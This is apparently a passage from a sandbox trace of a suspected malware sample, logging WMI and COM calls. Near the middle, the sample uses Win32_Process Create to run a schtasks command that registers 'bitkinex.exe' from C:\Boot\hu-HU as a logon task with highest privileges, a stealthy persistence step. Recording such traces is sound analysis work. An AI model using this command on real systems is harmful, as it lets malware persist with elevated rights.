Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0061.792] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0061.792] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bef84c0) returned 0x0 [0061.792] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef84c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.792] WbemDefPath:IUnknown:Release (This=0x1bef84c0) returned 0x3 [0061.792] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0061.793] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0061.793] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0061.793] WbemDefPath:IUnknown:Release (This=0x119ae20) returned 0x2 [0061.793] WbemDefPath:IUnknown:Release (This=0x119ae20) returned 0x1 [0061.793] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0061.793] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0061.793] WbemDefPath:IUnknown:QueryInterface (in: This=0x119ae20, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x119ae20) returned 0x0 [0061.793] WbemDefPath:IUnknown:AddRef (This=0x119ae20) returned 0x3 [0061.793] WbemDefPath:IUnknown:Release (This=0x119ae20) returned 0x2 [0061.793] WbemDefPath:IWbemPath:SetText (This=0x119ae20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0061.793] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ad60, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0061.793] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ae20, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0061.793] WbemDefPath:IWbemPath:GetText (in: This=0x119ae20, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0061.793] WbemDefPath:IWbemPath:GetText (in: This=0x119ae20, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0061.793] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x119ad60) returned 0x0 [0061.793] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ae20, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0061.793] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119ae20, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0061.793] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119ae20, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0061.793] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119ad60, uIndex=0x0, pszName="root") returned 0x0 [0061.793] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119ae20, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0061.793] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x119ae20, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0061.793] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x119ad60, uIndex=0x1, pszName="cimv2") returned 0x0 [0061.793] WbemDefPath:IWbemPath:GetServer (in: This=0x119ae20, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0061.793] WbemDefPath:IWbemPath:GetServer (in: This=0x119ae20, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0061.793] WbemDefPath:IWbemPath:GetServer (in: This=0x119ad60, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetServer (in: This=0x119ad60, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetInfo (in: This=0x119ad60, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a9a0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a9a0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119ad60, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetText (in: This=0x119ad60, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetText (in: This=0x119ad60, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetText (in: This=0x119ad60, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0061.794] WbemDefPath:IWbemPath:GetText (in: This=0x119ad60, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0061.794] IWbemServices:GetObject (in: This=0x1bed38f0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x1bef3970, ppCallResult=0x0) returned 0x0 [0061.801] IWbemClassObject:GetMethod (in: This=0x1bef3970, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x1bef3ce0, ppOutSignature=0x1b2fd9e0*=0x1bef4050) returned 0x0 [0061.801] IWbemClassObject:SpawnInstance (in: This=0x1bef3ce0, lFlags=0, ppNewInstance=0x1b2fd9f8 | out: ppNewInstance=0x1b2fd9f8*=0x1bef7b90) returned 0x0 [0061.802] IWbemClassObject:Get (in: This=0x1bef7b90, wszName="CommandLine", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a65fb0*=0, plFlavor=0x2a65fb4*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a65fb0*=8, plFlavor=0x2a65fb4*=32) returned 0x0 [0061.802] IWbemClassObject:Get (in: This=0x1bef7b90, wszName="CommandLine", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a65fb0*=8, plFlavor=0x2a65fb4*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a65fb0*=8, plFlavor=0x2a65fb4*=32) returned 0x0 [0061.802] IWbemClassObject:Put (This=0x1bef7b90, wszName="CommandLine", lFlags=0, pVal=0x1b2fd970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"bitkinex\" /sc ONLOGON /tr \"'C:\\Boot\\hu-HU\\bitkinex.exe'\" /rl HIGHEST /f", varVal2=0x0), Type=0) returned 0x0 [0061.803] IWbemClassObject:Get (in: This=0x1bef7b90, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a66058*=0, plFlavor=0x2a6605c*=0 | out: pVal=0x1b2fd8e8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a66058*=13, plFlavor=0x2a6605c*=32) returned 0x0 [0061.803] IWbemClassObject:Get (in: This=0x1bef7b90, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a66058*=13, plFlavor=0x2a6605c*=32 | out: pVal=0x1b2fd918*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a66058*=13, plFlavor=0x2a6605c*=32) returned 0x0 [0061.803] IUnknown:QueryInterface (in: This=0x1bef3290, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd2e8 | out: ppvObject=0x1b2fd2e8*=0x1bef3290) returned 0x0 [0061.803] IUnknown:QueryInterface (in: This=0x1bef3290, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fd390 | out: ppvObject=0x1b2fd390*=0x0) returned 0x80004002 [0061.803] IUnknown:QueryInterface (in: This=0x1bef3290, riid=0x7fef1d169a8*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcfb8 | out: ppvObject=0x1b2fcfb8*=0x0) returned 0x80004002 [0061.803] IUnknown:AddRef (This=0x1bef3290) returned 0x3 [0061.803] IUnknown:QueryInterface (in: This=0x1bef3290, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fca38 | out: ppvObject=0x1b2fca38*=0x0) returned 0x80004002 [0061.803] IUnknown:QueryInterface (in: This=0x1bef3290, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc9c0 | out: ppvObject=0x1b2fc9c0*=0x0) returned 0x80004002 [0061.804] IUnknown:QueryInterface (in: This=0x1bef3290, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9b0 | out: ppvObject=0x1b2fc9b0*=0x1bef3298) returned 0x0 [0061.804] IMarshal:GetUnmarshalClass (in: This=0x1bef3298, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc9d8 | out: pCid=0x1b2fc9d8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0061.804] IUnknown:Release (This=0x1bef3298) returned 0x3 [0061.804] CoGetContextToken (in: pToken=0x1b2fca60 | out: pToken=0x1b2fca60) returned 0x0 [0061.804] CoGetContextToken (in: pToken=0x1b2fcee0 | out: pToken=0x1b2fcee0) returned 0x0 [0061.804] IUnknown:QueryInterface (in: This=0x1bef3290, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcfa0 | out: ppvObject=0x1b2fcfa0*=0x0) returned 0x80004002 [0061.804] IUnknown:Release (This=0x1bef3290) returned 0x2 [0061.804] CoGetContextToken (in: pToken=0x1b2fce30 | out: pToken=0x1b2fce30) returned 0x0 [0061.804] CoGetContextToken (in: pToken=0x1b2fcd30 | out: pToken=0x1b2fcd30) returned 0x0 [0061.804] IUnknown:QueryInterface (in: This=0x1bef3290, riid=0x1b2fce90*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b2fce60 | out: ppvObject=0x1b2fce60*=0x0) returned 0x80004002 [0061.804] CoGetContextToken (in: pToken=0x1b2fcfc0 | out: pToken=0x1b2fcfc0) returned 0x0 [0061.804] IUnknown:QueryInterface (in: This=0x1bef3290, riid=0x7fef1d2d4b0*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd090 | out: ppvObject=0x1b2fd090*=0x0) returned 0x80004002 [0061.804] CoGetContextToken (in: pToken=0x1b2fd050 | out: pToken=0x1b2fd050) returned 0x0 [0061.805] IUnknown:AddRef (This=0x1bef3290) returned 0x3 [0061.805] IWbemClassObject:Put (This=0x1bef7b90, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b2fd970*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1bef3290, varVal2=0x0), Type=0) returned 0x0 [0061.805] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119aa60, puCount=0x1b2fda10 | out: puCount=0x1b2fda10*=0x2) returned 0x0 [0061.805] WbemDefPath:IWbemPath:GetText (in: This=0x119aa60, lFlags=4, puBuffLength=0x1b2fda08*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda08*=0x26, pszText=0x0) returned 0x0 [0061.805] WbemDefPath:IWbemPath:GetText (in: This=0x119aa60, lFlags=4, puBuffLength=0x1b2fda08*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fda08*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0061.805] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119a9a0, puCount=0x1b2fd950 | out: puCount=0x1b2fd950*=0x2) returned 0x0 [0061.805] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=4, puBuffLength=0x1b2fd948*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd948*=0xf, pszText=0x0) returned 0x0 [0061.805] WbemDefPath:IWbemPath:GetText (in: This=0x119a9a0, lFlags=4, puBuffLength=0x1b2fd948*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd948*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0061.805] WbemDefPath:IWbemPath:GetText (in: This=0x119aa60, lFlags=2, puBuffLength=0x1b2fda18*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda18*=0xe, pszText=0x0) returned 0x0 [0061.805] WbemDefPath:IWbemPath:GetText (in: This=0x119aa60, lFlags=2, puBuffLength=0x1b2fda18*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda18*=0xe, pszText="Win32_Process") returned 0x0 [0061.805] IWbemServices:ExecMethod (in: This=0x1bed38f0, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1bef7b90, ppOutParams=0x1b2fd820*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b2fd820*=0x1beef280, ppCallResult=0x0) returned 0x0 [0061.971] IWbemClassObject:Get (in: This=0x1beef280, wszName="ProcessId", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a66370*=0, plFlavor=0x2a66374*=0 | out: pVal=0x1b2fd978*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf18, varVal2=0x0), pType=0x2a66370*=19, plFlavor=0x2a66374*=0) returned 0x0 [0061.972] IWbemClassObject:Get (in: This=0x1beef280, wszName="ProcessId", lFlags=0, pVal=0x1b2fd988*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a66370*=19, plFlavor=0x2a66374*=0 | out: pVal=0x1b2fd988*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xf18, varVal2=0x0), pType=0x2a66370*=19, plFlavor=0x2a66374*=0) returned 0x0 [0061.973] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0061.973] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0061.973] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0061.973] IUnknown:Release (This=0x111f638) returned 0x1 [0061.974] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bef86c0) returned 0x0 [0061.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bef86c0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0061.975] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bef86c0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119aee0) returned 0x0 [0061.975] WbemDefPath:IUnknown:Release (This=0x1bef86c0) returned 0x0 [0061.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119aee0) returned 0x0 [0061.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0061.975] WbemDefPath:IUnknown:AddRef (This=0x119aee0) returned 0x3 [0061.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0061.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0061.975] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bef8700) returned 0x0 [0061.975] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bef8700, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0061.976] WbemDefPath:IUnknown:Release (This=0x1bef8700) returned 0x3 [0061.976] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0061.976] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0061.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0061.976] WbemDefPath:IUnknown:Release (This=0x119aee0) returned 0x2 [0061.976] WbemDefPath:IUnknown:Release (This=0x119aee0) returned 0x1 [0061.976] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0061.976] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0061.976] WbemDefPath:IUnknown:QueryInterface (in: This=0x119aee0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119aee0) returned 0x0 [0061.976] WbemDefPath:IUnknown:AddRef (This=0x119aee0) returned 0x3 [0061.976] WbemDefPath:IUnknown:Release (This=0x119aee0) returned 0x2 [0061.976] WbemDefPath:IWbemPath:SetText (This=0x119aee0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0061.976] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119aee0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0061.976] WbemDefPath:IWbemPath:GetText (in: This=0x119aee0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0061.976] WbemDefPath:IWbemPath:GetText (in: This=0x119aee0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0061.976] WbemDefPath:IWbemPath:GetInfo (in: This=0x119aee0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0061.976] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119aee0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0061.976] WbemDefPath:IWbemPath:GetInfo (in: This=0x119aee0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0061.976] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0061.977] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0061.977] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: 